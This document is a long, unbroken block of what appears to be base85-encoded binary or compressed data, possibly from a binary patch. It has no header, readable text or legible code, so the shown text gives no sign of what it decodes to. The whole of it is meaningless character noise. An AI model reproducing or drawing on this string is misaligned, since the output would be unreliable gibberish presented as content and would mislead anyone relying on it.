z2nc(zLk~<9r;jtZ(MgIxzepu?a?mm%FyHS)s@U}+0$@MO1m}Feg{floasGvY4ODdJ z&EH@{v0mxlU_&}w3$xoxopLcMkXGO{_=C%`4tFkq=)&r(q>IZg@e6OT#fq?^BqKYj zV3$AP_0yRt&}oaj>V&+8I#wY=r@hYRR`%Z3hlU8m2n}B|gT3mzBZP*zDmPn&0|V%g zQHTS3F>VWQK9lw6a=)`<7T{=z*xePT4+$wq3Bx)N?vOC0pvb88R49_W4{0@BeEY@XUqY#J0Hwy^dsfzG}a9pY$-CsVG z=8qEgc6FjBjMIr&*uxCvgn4=_I+-H8_|sXeeapfbMD<`rl3{War+L>mSu_+Bliy?u zn$-f|=rcw{@%wMG4$OHgSI%b1%_whslp$yNNh&Y__&Lkx(>N8pt1}c95~f znB(KN%Af=pgfnkEUic?|`7P!X{Imnr(=W!X$#gMl#=ySe+ng^IsPZ2{WU>xo8L1aLdGoof zZQC8dwI&C`bOb(~dQqKa1hZZ=<8gCY#~#PqQ({^pj`61&BlO~<#&@FEsm4sbC~yFd zXpq4ezIHD23U@`KP%@%mBaov^l534K_2N4jRh3H5mmJSj8oZt0H|K(nYRA1y><6}D zEC1WX`YP8@+dLLV9%W{u`cUJMlN7i>xRxO|U>JHNr`WOT2SF5QY=*N*V~$^-<~t;# z&g?6tac*o%=xw#TuULzJDC+Kly16lExk34*EK?Avc7{-rgvK5Lq zc;76xlC9jyFJ-YTrM3_mKNPR<;fq)YWr*V~gfCdc2DJUpv@;<>bo>FMp|`cvu(yz3 zUxaHc9C;Nrp+Ejc06J$AoP$1 zB|z&O7NlL$m)abJ33fJbrCH%}9ab`fbJz%WWIO*L2aMrYygY~f+4;8^(DdF|qwmrK z*2eSVI-c<5qvSvaMr?jGKxg?ciy^8><*7?pd(|Nn8SW9O;DJ1635#I+3;D4n>}$WS ztzk-E5@-GD8pJ-DW=V#G*ooTAA8}C{G(X#NSwu?}FwoAnW>#0d_=5kK%O-(P$LFz0 z?tNRyQAglJU-aPz^H{vwZOTbB@VY$Kqqo2d>^1V?L}TB(BRnB_5mz|?qssYhCfmt zTekTKU$`7wwUPXf<=DM$PAd1%YxBjNwWP z>#4eyfQC2*BYg`vm@h1le}o+54=t>_b_QaIYlYxS=@JM|ODA6E5i8kn;&t*?vcZa} z{OU>;+<6?AxBT#!o4<_k#4#Oe3IA5UdUVdZFudUZGWWBxv0nXYmJAH?u`w&T!1^~I zr%**#o^NH{nl%iAoM~>fc*M_IS=ZpCRq;;7QR$-hlLou3MXC{3iiwDqC^b5y26yEc z!{P>SwTf+XjiV;}z3A8~2G#u)UYXBED;Dsm)sQ*HxIuN2xEHlRXIt-y@A=ZzELHIx z|6w&2@;E;BT^7VHuj7l~g*@+7e*9fFp!F}%e$fPn*v^RiY3jhUsMbId@)1v8!~8sB z5N*x6jP!D|s+~-0A=(oyxn&J|so!e(OCMXmn5-J|?NwpKA@whuDLEXTh9x?j6jd1K zr-?6Rn1*c6;U&?0(%2^rlDxV#;6>i!iECL<#6V!^u`IvqN?&Vj5D#8Y6N3Q71K{&z zINa~lnBiikoEGgmzGW@MKKJ;swX9d0FC=+_iSh0z?l9QH8785b(26@bTgSS1ztaVc zDT^m%8@ey1z<^g=`8a=)A`T&mpc2y7HZ7piPl zpi?ID4>ZnA6X%#*QJ^rhb7`WTtsITRZ9)M&v?9vXPfPXWSng|n#xCg8!1tc~_Ba2K{@3`Fe6dm~X>UlGsmY-Ikv1t@{AQgrLb6}jI! zJ-!KZDa_y9+=H|B*;E^_q3WVR%G@7Oy-fsYJf5CwcX8aLmirVB>#?kfjrGKc*I+v& ztn#BK*Y0d?i$ibTR$RqJ9LjKK+xr5bBG=GXj)qrY6bs$Q6(K0kh6Z@4q zPmg45gW!SSF>k#IllVBFwuwDb{K3b+&(0|>@xTvQ=Y($fB-{?Cz3}QqK}5Dgat`MZ zE+UK)gyPqs_q|_-TSKhmha^f^+99US>Y5>D^OYa4-pRDD3JQEw-r?K|=avIT;AUiO z(oxgmWKD>PX>=2u1^DWZ*7Pvzzq>wwm_M ztWDQ#{?vsuE1a!L>!3iLb-*a`HUa+!mJX?6!WPIbKIhZ7U`zTg-?)YK4$@O5a5tmQ zBUUgUBRvt2+`0*7RipA$MDV}2U@Pm#n{CDCwfrUeyUa7TVio&{XKrP|EgXlsF21}L z%f*4MU?LLuPg@~93E-~VkQct$#zHjI#<{-+KK{PrL-nx&puVvU8{sazej6L}@)596 zw3CAnWDg#3E>}Y>y6RzrJvKRWk=n2y^9DBksy2wUErKdVG7p0|QM}F96td_R;qS-0eX(_1cmJ7>6o0N&tKF~XeT3s*+kb0{`F24noKQ}`=feAo0S%Nj9<|_ zJ{bp5Rd4{QibBdddAgJ`C-D&y`ahFaCf#tZ2GL^NF4m*P=f8qBD~+wwu@bz!i}_{G z)lz*12I1(6I`06HGFPGdv$5Y{A0H$}He$f#fI80#3{=~!#`ppee+4;K&7-eCkbULP zNJ-`+{2D(Bp^wsJ1f{6^1H>CGou91O^a>s#bXKn24bf#RKe3y&XXb_c?rxUaFK{7q z>XwNffxP2!sdGE%B~VWXSrCgnUQ`mt-Gml7rHTp<)Jsr1cjj;IVF4Xw;;dKaeT%$x zVg|TvswF(Vsq@ZIaa^HsIlPDYdGv%mZShGoY}F|YF-%F(g;(xjgV|Tti$eEe>U&nT z0vRG|D=*X#)n2rNxEMY{>rF@Ib&}c3=pWZ=jKCv%t2|o{Dn#}r906km3j}KxF&)&xZ0$#6RWYdiP)ySw#Y>0EJQ8`wG^Hcj+8=C(=06FF{nifTK z12K+swmFAi!gX)*{MjShH#Oygfk>;7Qg4kmhKxli&cI}ic~dfjKZc0p6wm#bb$spj zA02#~%=S2^rlC+#$Ut_C)Mi@D1f@yljnhOLrA`OVs=D57u;WMu(Kt|>#&tNSxN&t} zf=*4h>tH z&w&c!ycU?Sjc$zBP&}Pbk&}m;RHQx?TQ{T-vogge=Lv(qmKzhtR$T*0PRn_s!0Tf{ z*F)HRUdKj10N*?2E+`LT+z^v70oU5%{&0ARpRWpkB#t&i9&ky5n`@PzT6)nA*5hE9 zArW#D8@|Fg#*$kml3Pk`3YmkS8d`WK4DRzZUMAkG<7A_ zzAnw=X@mkEy19u&{Q4nz>@2Wnlxg8h{O~8(4jzAwCh~^^|{1LX)HIANl^7JV?B@MQIuGOlc2qf8 zb|+Ja-F(z;zG!qy69a%_Hy;AR%BF%`q@9%paGNjnD4A&-O%vhI5npxG!kTzJHt}Q@ zyrl#EN6a^>Hk^kpP+~f?vnHNwff|zZ718JUx5rq7?;c=50wVf@hrsS^4VoElSFT_M z4=94^OA4P*#GWYn^7LXB+-*4yY$SD`o*LTL2HcR1B9R3P>VRlt6##!%It8JAaZs;*vA5{hw!8ffq)^oDiVMre;K8zu=0q zEL{=I$DCz@+O2sC3|gdp;Qc?(4^@wCfOX+GQ1wy~$$nfH_T~BKSljIW_0O=Cv9+g! zjLs9m?`XxZAWgYb;PxLyM1jSV<`|sec0$4Bh%TZO@r|jRu0xS!&fvTlg`{K_1INf- zfwy4Hj8PDK_Jrpzk%c56`E~fhne#}lC%Mt%ozFA(Q2&Xtkjd5#njhj(ED2zY&Wm>_ zU&sd&eUKuvL{lsF;gim@4%vPE4Z0di!0kBh2~yg>$5cl8~2djc+# ztTVqW%Tv_H+_FjimgwYcErW_AXF{$u=2o%FUkJ$j=>2$TxH-f6OS&F@MFCO zV%!7k3OcS?&goSEDdu^>H-j?s>y-n8R1?OAU&<>{zjt=!+4C!xQM9cZ+zA%femU7V zb(a1(87J8lPUbS-L|z9>4|!xG}$W?>sKrzfi|4qidg=}7c5!Pn;-rH+t-4`rUHByBZ z0jj5={zL9n$_8jia$S~qJq*LUEU`kfgTG$Nl6!`)L>rJ3o~Nd;#dc??xJ+t;Y}>l? zF!@(=Sd>GSOB-`x<9AAt$NOAS#v+s<2e?^$hEtfl#A`n;gTG@Kq=(?`itxj z-!02g!gB1Y|E1`EpGRBy_)D-X=*Hi^ggN{#-+2kry3hFEmmtfs^T;n*LhoASi=6|c z1AC+fd(J{Qe#2S7gy`JL);2c`SYG=K3ub-Qc;c_g?Gt(@6>_rjYfVt)q1`DFjEBq5RnQ z?ZS4Q6eg2&Fww4uZG`*R(7!<_{WTPCdEEO7n+VQ!{uTB~-(rktm?0=)E6iSyN?TnQ zpWPr&3*1vK^Hh-5*X5Q;i|t1X9ZC(A8-&^=g~jN?H$#LW`4 zLy{I3Gv4xq00B9az^neE)YW zB*27-RJmcbq;ZasQwaq`Y0OL$CyE|^hZa)*j>>>m!y6%50c%gc8*F;u+*5Ln#(I*B z%Z(6x&M{&xXpZDS`F!aH>!5wffo09|v$e1eg3%rhv2yzj*0b56Te9U@;Vs^~0s_iY zd{PAqP+tN*6pU$5ooA*(^|ZQz^=>0hHrV0L49hr-P6p!ztgvi!qT=@|ShDvl8KkNj zhzWwS*BM7spUmNXe_&(c56h80P+wx77DsnF*ICEc8zV=4Rb@f@%#; z<3UsSn42ujzoR2YUTX3OImP`D?=<#iypsZ9{w==eCRmd*{OV2Cr)6BSW7(9A9I?~6 z#daue@>92<-#LGr^1q)dzN3fv8YF+4H{4<$bj&SotWKqzaV26#AxF@J`)CehWGZBu zCvUT0ua_N&;U%{2jd4+_;ux>H4YF9l6YroL1Nh84u(WC}W2$W3Bjv^kt%!u<#nfKT*@04Ab$3Om#dF%#p&$PRkIU>km;VS`#LYVJ5lZ2+Q7KDa(zXYb`;wNsETh;S9g zu-!-s7mR{>5yBT$qB-8+UsbZzqvSl?bDoBqT`&o3k~Lmw9bf5?8d{%<-c?9qY8~7V z)YvBD+7w)-rv8@-2|g$twW+l|!(zNB0M2%8E!D@gFFjfU8=nI|!lrl>Rjrbj|H!mK zolz2UL0VwVx^L+Xt*$4W(w2*}PXNXyme!$4uKbAwc3Ta`g%&AOG-|TczR1H0L*OXH zPx%2QDb5+b@>AW7%gN`pmgHFO=<*W}!gUzn%A;h;R8;dbY7oRa)trdj_ssSM+&#jf&ieqrA2qp9ybihbx$RUAZrF2!N^ z(;3#_S8(3!R~FO0awV3BuSA8QZg_FQws-MuM+EHAe`S&FEpj}>J=t1VPE{lL!I&G& zvDR>(Qu~b`|CPNDRraXg*h$wq0a&}FS;by=9R(On#CreE`nSl$GY)qqs0w%U#lN%n*j`%^)UD+T z*NcR8g#TF$2|FYWe?S*svzr(F!A@hpJnv7o-BsS=t>^xKfsQ8gq`#Ohe9sjce>Pn1 zW(o>|h{y;35r$eys=?9MxkEIJj#HR|qM>lmiaY$$Uu=Sh(;lGAr731>ZqU-pH2!i8 z8{ry4&#m~oHLROAELNQ?qwi0Qj`uQo;2N4VT&P|B{crr68s^dBiY*>&Sy^JuUK{_b z2G+G8?SHer9`QS6LSdsr6NVH@t%e`^8%CZmgm?gJ-zR+Q1E_XOc;G|kr{3{lgMH;_ z7@^Ycm&{lnLJ=^Pn;&B3{)_K^i0_>FvxjULQ}ierS_@qZPFPO+hjmbODx`df#SjwT z@DI3^L%j4K)~D5-Z6x(5a3py|3AY>`kJt$)Ft0vhI~5&^Opn1FV+VV(j&<}b+Je4H z7-~t}Y^7hQ)9b_zUR%eyt5g1IjhRZr(}jAvCLXVsuf) z6NV%I=iZkGGHrD~8%R`UVVdaA-~5*)cp96cE;dF*reT~dl=(jXd%Bja@UI@ypc&1+q|(JXLr`{cJ<6R zdmf-@8eI5=>vif!zypAF*j`YHFXb9-CNW3LRH1XEn<`$D9}Za)0>NnvPK7#NM982T zqU9PnG1Pc7=2i+SVx1d^Z2;Y=h1M~~r3$wf$Uhe#o*%1cNu3Jtn0uiQS_^aixZAilPNMQQGy1o=w5onikBr!?#!1veTX zD0sxxcE~yZ>a}!?eJc*v_}#C-d|F=YbK4jTSZ?eq%Z}XjXYvf3T$us zOOh{HlSxui+m`Ey%`m<}eaG-@9e>-Bm`9?+?fi2|nh(RxUd~cC?UJ=r0Z8!5A#iX= z7W(oz&QgR*DaXh|?^k}ml&@#6|M<(Z5T{X)&_!HCnyW7*2(c z<9A%7AjNvlTv5r%e2A-*1f}0PS1AMo>V&Jb6QpXAo8$>|x_NF=qz_vy7c0hm!R(ro zbqH6SU>(#$VtU?9>ZAB%qf+t?JtyO!r%;TeMz@h-X}+T_xDKUGtjCLd=NAcJI8RVY zU16j#ONnB%lx2d_*t>r(o`MaPp!kn#Me9I3smjYWaw4$emVHMF>1`wAH&huV#sXgke zXdz93G;Uf8X@J6&?`kU#R8kJhU%;EYOChbNScpDcuq0?K z36KH8NgN;O4s6uJUFy`@g6*Z;*cbFh+#XN|f!r>4X{_b|;AvPgg`@G^xu&Ib3`ZEs zT1xQ>*cYlLDbzs z3T{#1_;@643F04lNJDY1=#hui4&pdZtu!6B^^3JqN0e}vRvOjrwv2pX#gOjSVZt&b z412RmfJVw$bMEaaEx=)vHJ(yu%)??&X(P_GjPR0TU>9xik|IHq&v;486{C2vw-nXx zdUG5tNb*5n#nw3lVqQD3q~MZy*-GsLZz+(iY0gi1OWhSii)`K)n68C1L7Q=3U#XYk z`=X(~Qa2X`YSK;$fa{2YcG6Xa>s~?$FPa&MNz1lPDq7KA`c9#^P&A>V1fK#w6~%Qz z1WqB33C6UK<*c*RF*IibHpuh*$karb@SHo%526%ucWq4y)8{XWhKQ(zeB24UxRITu z_$arH#4NqASndUrvryS$d45=`DEt@afRn@WM?_QY&Nh9E<+HPtA@%%M!8?Uu;3o1{ zLqKV?d|e2J!8b+Ug-Gp~VoycHqDFl>8Kb6uE^-8yH(Tf^X?1 z{lkv`S+pTs8mVB1w(#E~q-dP~35=9BviGWsiX$aB02*iGkE1|ddf0fU-cpR_z3tB+ zCTxj2Sas82iLtC`R&S{rW2;j52Qkuac0ZXXyet(ff{W^3mijB$?}@x`A89=d*uLo_ z&0u06@84It%-Rg(?){|p>~R7Q>nDw6?Ukb))G zN{WJ!eUcR8b!8qHT8P3R;>y64d?xo)5XNqNVUqNc;`gEhNm3VQb&C=5P$%1@#QVaP z|1wzG*0Nv_%_!3QSntBhd)*L>=tzESh*YI`nHLU~0@dSS2Dno1O`;6!-~IU2p=j_w zdG%1KQ}$nj$&4-u*3Wbt0YklBSbz?J8VE^>PFzJiP5EJUxqqril#_h{%!_?~Ezub( zWu1&vox$b@!C%N5_|!fhvPMWt@FC*xh(VHql$HX3W0rI-RSTC&bVa=}p061uIeYoy zGvZg01tQu`XlY0{ z+H#7tx8)s+sw|;)5@fhlCHTQ%r`*Z4Bu=e0OrrY2LOxA88nOwEr#`l#0DsnV*b8@q z+FnwhaZarJf+GHwN*yg#q}5APC2i=dC`LkkhIL3?x3k!ljZ72&@cc1S0f=qzSjmU6 z%)LBrymSR8%+(X55jdoJfKQqzb#z@pnR;`}L@8Xcjh~t*O?E9L&^txJlcdGY+5JZ) zI1NDMM5MDv5`n(|qA{N02uH36U{?@+K==*eAB3j3 z4igfbvZvu^Il_K~YY6la)trz_6Vbl$GMA3X_OhS2&|bP2+0 zgnj>i!r52R|6c;>CxqD7P$Pt62zL=YCZow4LmK|aBT!ALJEq|I2EwaTPM@+U%~tAsr;MQrAaE9 zRhD7Z7O>Bgd0&IHV1UCCPc6&IVdkCaboNIUem1<+n7t|E@e}p2m33DVodzvPO;sOT zTz(Z=sZuj8=5ihuQVv_VZ(SCA%^w-0j?oJcHR$crHg}*^APPE0c;$qd3Otps^i9*N zk3Cf%TfX2jT_)8=y?g{@s5lV3d?p|HhNQ)$FM9nAu;VoQ`%jlV`;&G|X?{>e8`zj2QLjhP8fVF>geG9$t1-^NgZ|1rh{r#sWp^msmq|7^U+ z;eQ@N4}{GK0{Wej<{+I|d9oygg5D*(c8*}SaFHV{AwzfP9b^hl@c-^AS{d2r}y za>IeX83b&R1VUaD`%t}VR(8J51Q@I{RO8vL4Dh$G3456mxF z`VuI{e=|k+>%~j-06bdsNP3nHX(V!^d%EqBge+9_ zU5r1KOTCl>9^=14ex`Ht#&M|zI>TV;OE9tZFge0e;V$Cihv@wttjLU!>Ble9^-e=YsHfN22(AF08M-IGAsu-=J%Xzp(5ONb&pp|LuCvZqt4=WIZ&?&RiF zY!7A=rrksD{Uh^9|4 zXC{mvo1Fm{|F;~~HT6zIi`NgNBBTjdN-&aC(_-JCXZAFUKRsJy)wOsGB(QlFxtS(7 zYH9M>?&HX?Sz`^$kt0>h(Oafo+bdBD6bSM1bwA}9`r-05KWFIfo`)Y>|epEix#)1lL8%R_`O}j)L%8`WSbdtBZY03d#;KC%|$9pLOfKF5r)zIjEZ6=A+s2F8Z{_Dqkr1l;L=e5_tP?l4j9(NSk;b` zR2QUNg8!;rjudy$ts(^6Nr|m#1nwt{+{PE|&f2%8WnVn^eDF#cWet~T@KCg}qhRdqCD4?mUi7z%w z$%#5JgOH578=kd>t?dWUt7q7fVRR?<$6?UIz!2*2E+9=C&{*J8+Zh7kp~~oz4gq6u zIwl68zRTU`Ns|?y@Hz7&U7PzfCCv4t&iK*V7H5Ae@{8nCMz{H`c~aDf4HO?m(O>2l zQO}F@uMyeHFQV?VOpJ(WXKF^9Kx-OJyeP5Uk9Jg=vSeM@+mWByXZs;;1QL<+hV96F z$+NROV{^_lAO*Vgu*iqfJp%dwOY4vEXT#P_C7k%?`BGv)w7aaDhM-#3rH7ZqjIXo) zfLkx1|51wcjSHksuwM#ZAnE;e-^h1~Im3d*nT+$#DYzTbFz8$t#8syyL*DYo-*Tm6-~4-csbNJ~pnG;!!U6 zj^UY7D@8fciTSd7`YcOjpu?aS+y`u zvP8%9&BRHPY{@q=7ky6BsMvezyw@QCfSHq@Q6cU`A$7e6>DN?@>C@up3FSH zzLsaM>b#+P zA78LU8m=iFjPYr5g|8JTxivUz_WcqmfemH6ZLZYSP5Chf!n0~VG*@cVZ6Lket_CL? zIb$Q_x}M|cSANdN&~LCqpMlARTVFQvwYgG~+a&tnoj>^9T&Y7geL|PN8t|__;e^Xg zb4vnKb@uPAeN6ym=P-;D18w<@lt-@dA7S zU%zIT<2&)BgOi=Gk%mK*%(>s|?YY@F7Fz0TA69QJn?PtC#IH!!?wN@!w@1L?eUk>Z*4P>l-yyj3 znWAGWtp0QrugN9Ne$C38Et3LNlf4zNW*{9JM1T>?AjG}Bfxo&;>e##xKF1 zWfJbd=6jY&vFyzc`2A&4XLqW&Jq!~C_YZC4KFg)99SLNWti!6O#ipp{4zR{))J1>e zHYmF(3~C(Q@d3oC%cX%sln2oWn*_C`(Nk{1iPSoV83bPpIGQrfSvF@t%P%14bQzoA zN)lY@a9;qRqhTnw9D6r8XQY5!3+{r zhB~g|{vOXbN``|Nx8yqYk?Ztyx*c_jc6OBa$Zz#Aa)CA0%xK*AhH2@pcNDsyF@uC@ zvFWO}E;!Q6B_PRmt&vXa`8O-1Zml#&(bVwUF)k<&9VHUmb9al>CiLcIVA3fY8%7tX zM3Cru80G0peJJlq)OnW>gOj?kM|i45>YMF@gv60wsan9-;NEte#`4h_`ZzM6#J2>} zf~9QFzxH22xV5Q&P4d!vcC4gBOq}KT6t9xcNP!OK?s; zg$w;SLIX6w&wfL6M;Y-PWWNEmZ{w}sE9m>Szw#a{CI41adSW(!wMjwQqIHJ)qkP;- zDKhL#fLt)Wqr}S3aHl$zckc^upw1B31YR4!&#sibvVTG`tm9P~dc7g6DQ>Fc6I6xn z4%9#h?1bo=VT~y!y@*~6*#u$(5gpg`b?3$maS+a+1Mu-(Do5K#DA&-AHA4B~Yb2iS zgB6haCc-cZxZH+_C-v{ecpbR)Hfk#Eis?!yh2CCLPhNX z)CpVQ$0ikqn)+Zpjy``&_cG#b9Uxlt2ez9pp^+8sRBWfXi1Di|3 zZ7R)7yfqD}5O*gh4K-z$@I#?s7Jx{!6Ck+TfyVrc@l-<}hsjCB;9Q-lIgoG{6d_HV z03t~n9Uhf0wPKTw@j?00knEEfCm8mr7|yeYWz zdZ-9PP2`CPyC5oIil{t-g4boh$lZ@_c5DT>&>qFgH8dTxcN%hei+*N1sIX-q_gD?u zIdd7;t(LTOMLDc|$V|qMCMZ01=7I8n0#HG&qVkRj+8=Qt6K~O;c^bF*MDRAF)8SY(mxwXIz?wOTq!r=?u=Q7t~;KTmIK-$t(7#52g`P zLy-bA!fz4gD4jgu8cWsnd8z!6s}BAcQu4yfN%#+EH+iA6_H*rcFFay-oTmH$!MKY?C^p z3~AnJG{kush8V|6L@jC z!w0U14(jd+K5MdA3B!<3WHtHjY5jaAwsmkCkgZNjCt0J;HVew=83 zj{me?3S-eHxORgyI9pEg{w<*4W@UK=%A!N=xF9hTV^@!ZT&PK7x^dJ4#gy)+^Z}J2 z3|?sg0NzK>@s<`K|Heq7&WK#q6lu<;h)EcOj;}oCK9BK1M4V1+xXNobNd6sjh(E&Y zG=-)aoK7LnF31xo19fS|ASh^@avt`cr1guV$cCFJ5PBrkM12=(s3c(3O+M*8$(s#7 z$=`lY3e65V4d9kW%sw)8!8M0eX?z(6+G+}l6ZT96y=vuXm>D!i2g>h(&)>u3_prt` z!;BaEK9(2A6bH!G!myXJ>p|H$h!+pqD0wi=Q695VYM=ec<9WLtqV1NsCO@$vKkK$w zeFk3;z1j&dIJ^qD@e-fxmx(n=O!LfuTN^|$5o;LD{STEXY)aMCEkChZRt`F$LbPT= zc?kb(O~e+9ZuA+H@AV&$8@e*FR%iIn1j+E=Pc}+Ddkt7i6H99g1xBULa1@_3PNA01 zbAsjGQ3yLK!CMPg4Ijfn5ZCkRDREU(N`=RH zVF64@*7KVMQkQl_jvK^0>K5~DN3Tpkx9BLJkQ==HCaDd(UBdfrl0veHd7-1+2q6fe z2w?~j;#-Z}O?puM5R5)BHX%o-4X_Q@iq9O8C{AmPod{4*KTuDtaBYd%Pb+9dQ=`i0 z%No;iq(eMUV>&aZ{XYo>A|W4f+MN<|a50Uz@r{Y-A6Lk%5x{LrP#7HFAKLLOirGg5 zJWq`nr9fhoXa#Cp$OpeK^~>Iniw5}oJL-3Nm2F|Dp(fc&5O4#n4H0MYx`|#Py}1bi z1vnDS5yiBGuw11UNHoeq2IbHH%Dj$9n4(jvrzttdw%81uBvQqM636o2X(4GazP zGONVA7SHUbsg`MC7vM(iSPXcYKN`duoO3{L4qB;pLFnvWhW(U4CJ=#?N<%dY-=_)V zHGXfi)UG`WVZTAgPfUS^5<-oU^U{jxs8O2ec8#~&0#52WMYW`;`2$59q71hQQvWT| zo#>n@>R%K}0A>&rdlyeelnTeOML}~)?lQ$Wok!d`ih~&+F?5-7+#x_FV)`3H9UD&`zZDXM zFknK&Q|3gUSl#J0+-_0qpoe5kFdr()>2J{b4}o;JX3OPg3f{Zj{fk znLz6SG8EF21y95d_@to%@y(iM|62gVP!h+;t^N^P+ChJmrau*d+-z?_sEk(jvCk#; z#fP?{MT%`wgn~t^;JpiBgEZgD#}rC0vAfH8KE1cM@7f^(TfsXN|$ut|^J!h39&+PW1}A)j2~y6uvGw$BB;e0PNgnf?q_L@&zl z_BaVlqf<_X$>+89D8jkPjHpix5uX|OBN8Tsz*2E6PNiPt?WklLuYYj69(HDqh7xg_BW1J!> zB$x|ea*4B@GS0~3vl$3z0}!oIv5(CU4K;*Si5=qpkh7#Sq1S%23_#rp5)WO7+h@pQth&xOVWcrLc zK>%EDD5URp<2%&DAn0Y2{6djb?LnUqU7-Q5GN>*h`W-~uS~qREdKX~-j398Wo&*{tvD|y0O5){?+xOOli6zz7A z65V!@@7n_-$MyWd9w|78IteEm|9=ypK6@n}H_at{{bv~;yH|?JPN$c{kOd$s!y3v+ z93TlK8FE7^NB!2s?dc4Kgq%l$gA9lpL6sdE+}vs(+!_BU4J-+^tBreSYMa*-L^m+t z)p>#706<+;;_)-oOx_)9V;j_5^AXJALcZkvK9YP{*q1!xBdNpG^skUlSt;cMmhUD` zK3C!FHtY#V$u|H_e{>@q&yTe*C@ibIC7B7-T?PGP2~+Ecw>2gZG@u`zB0O8-f|ggh`WsP z%>F`Nz8nR;hKMv{bLe{9;CBb?8f|-gbnt%`C^~~wWEh>PKKlu6yo^`*jRUX6IUxC& zybPNuQ9mS_A%80VMz>@*2)rvnsS;Yp4x0qXD(h8rXc|cnu7Fy{jk$AKVIQ0hmDu~1`VK$814V#Z(K)krW~ z&`TdeBL=Z?1BKNg{R-eg1gG)W=vZeYG@ua3kz|6Xb^2AD?-pN@kG3pWyh3VVhG!2Y zdg*IwPrSzB*;^y`rMUxI`mxvu*F)BeVml7z!F%1UY`lh-EWM@PRsydDp<>r%a?4eS zgl#^eKz{Kl$4d)gm0t?*B37TL;v(toIK)12g7v&Z9G_dQfyRnR&3|Wx5zXB=Gk%ph zYq%Dz&CjYA>?5SYoexM}-Srd^e_`_CKuCV#_57?#@zWlBPBh^Hz!+PVqSz#t%3`jit?71vvFF+~uW4(#3Yj*p zQ~x~W<3EwSd*nBzF+@)KzUcTC)ttP#lgzCvpu$L?WZb;cxsCafIf_3pwz=na}8hKD&eyZ;^@bEzUClo*ABeJcOR6Z+OLtd_v2&6SCAiMc+-ckAtY-X z=g4_z34eA_^2x4yjIw6fy!CQ3$O3&+b1`W?daMI}9LVk^|6OUKDc65#-~U1iQ{zCq zPf#olFx|$HnAnsE^%C+>0@-!7-O~p}q7%b%$6J$qu!_26qc$`ktn))-ADTR^NkIf{ z1g1ISnnXQx=L;@9|351Q6=s%P7_k-Yj$U@4On5P{Laqa6FyUZe9io@M^g@a(?r~Vs zwT)dseM(z(yQv$^p?aMWrt#KD%^JSwuoU6`pQUDf9Y1qe^6uAdCz7DS^?)cb>Lq;k zA(j8?MamH)qCQ3|hJ8mIo`VT6wld^=$F)bKAm8u)X=-7Y(+--3d2z!~@Esp{MCzeh z{XF{gDL(5{$*21?2v#!a&T_O;7_KA{4<^j_mK}8yN1^A)4cqMlq-S?EWCm-~w-;gsBqfrOyyZ^RR4nDwXdq+Dt{eYL7^fED= zn?93TXaA?M&Y-gz34ME+R0(jK`B_5f3mY5j5gH4&_Nl^F^SrStEaUHE`H{Wq;oNn- z?sNe%NlO*)$Zb!WIPhonhMkmkDrF5e8?7QQGZ(S}g^J`k>NG<+;e`T^(n8PFiC%In zwKJW}Fx&@%El^%Roo^DgtrME(-+K{;3Sd!n{CQSbjYA3aJ%Om{ka>;H5CK?rs<{6D zG4?iaQCHdH|Hyn)RCG{LF+nj=N%0X>2rx`QDzq__hw_2S>=U^g>0q`=Xh2Ehlx^9y zUEAz&-M;N+Wrbx)tE;xzu9aJ~S#r9sO|S zNIM3Y{v72JgQBQ&xM2(D7Nm`peyg1*=+{6~Dx4HIsN0@*pCg-HPX7fJ041Gfw*)px zpnHOhGYf#$pDh4Zf88Y)g{Fd9(ZU9*TJ=x&hsu*={QEa5(BO`ZkNL`E z$ah0Xwe@SLLv_2fPW`#TJ#orz;ZkbgZBE?{AySdf1H?NgR3TT4?Bha}^1K?pkA7-u zu2~=vk~%e4@;-rYpCe#u&Q8UCR6l>IY%({VZ6_156WI&~XBos+5Gk)BU-!RKKX5w8 zgCRsU2-%nT2MS$7l51pR-K)ODnk*r5`9?V!Q1!w-_kc)Yx>zr{RK32>J$6>>J!Wp6 z!1lGEnY>&;UJC7;7w5YQ*)012;id4aol<{^Ekg=%Rxs?;J!;$w?(uzVh5mZTc^TO5mIi|YAi-%bFeYAKYadK#EKXCc1xVc2{?`PUlVB3M_{);t6qA6D~ETh z_g_HmRCx8hFS;kk?grJ;hZXa`An_OmW=dA`UvytKI_+bikL)E4(`~mA6k_`n;J{wB z|3&x0i1Syg0sGx?{gOUm_tK$9?p4$GyZ@Y7K~Q_2AxFVVTMxuja!c~&sx^b${WewN z>*iCiGrtqo%&ZMqtlpW~Fu{_v9ecNh9kko9nq-)Yhu5c*(t_ zx)HqI`ZPmytNgl!U#NKkIenA7dTC2%@Wliz!$Nr%e7aX>0WZ|WU7$2vwgMua`$!-^ zVR21kEc$ff=@f@Xz|nvsy>^9w;~a3!p=`EueRJ%+0*riG&3oBBm8z|H*_|2j=#}bE zFS~PA4!t+rJtB+jRtQ_z{zVyKO*&1qSx-rOg;qd}3;OdV$l;lm5%dUqHxyFWTRw+! zfT6@pNESxUjMTA5Ek59m8@Y=(P7H606C%jRcz;g)M($^8{JP-+XU)! z^YsHP0ZPfBFFL()nU8}7A-Y|F_!(yA955DZ@Q`)MI>7!cX&_=0_%1Xx6kyd?C!=Q@ zHod-7f36*@C<|7sD$)^m_h{Y?UsCy)KJl~!zx0$ONg~{~DQ6_{p>{JeApB;-4}Zj~ zQqD-DJ6ox`yw%BR$HFkxNAS3y0Bw1q!(koZ_ zQivW}LnqPYaR1vVuS!M#8)~MY|B82!iB}jbcLt3C_7>>$Y=N3n!kWKSyn3+Mb|s)Q z2`_wPS2))xPF^f8+w&HEaJ?8`#MvcZ^M;xnhZgH|u!S`Gubca!Kv+X{we&L!ef7(O z?s$63)`RZxxm&s;{25thC&ZYr-fQpahCgoLF=mK<;1&NX2$OI;MTLbqo;m2A;cojd zPfa?+x#|zRj)~CO$KfH?5$GR$Ub~eLZg$>xkfHP7P6v3@0kWYV7ecf$g+Tpe7oxvi z@gu5-C3uM?+kmXaw_Xt)Zo9S` zyg|pTuJ2X(PvMp19GSxFyHla=;;F6f&Acobhg*_fyig`DPwi5m5+w#zGO|pRL#Nao ze{sjJklsh|cVP~dD?@ZiOb#IGx)6CGgmfnmYr+U$|085=FrBw$a)?CwBP17`QvD87 zu^mpO#5gg8Ces-mpa~i?niv5xh(>;3B7W`wX|bW0IU*pzVSA|uRt>aEPMG!^L;Ldo z7p*O{Q812ih=2XDYCP;dyI-Ocy!vC+a@akg-*hLK_OUwa2(uhleY1|ZM^*P}Mx3Sk zMx#2ky|wg1Q-#?=F51O+{$=VNs8=@Mm^zy5a)8s|WVbwcpY3`f^CWsQ@3XyJD7^38 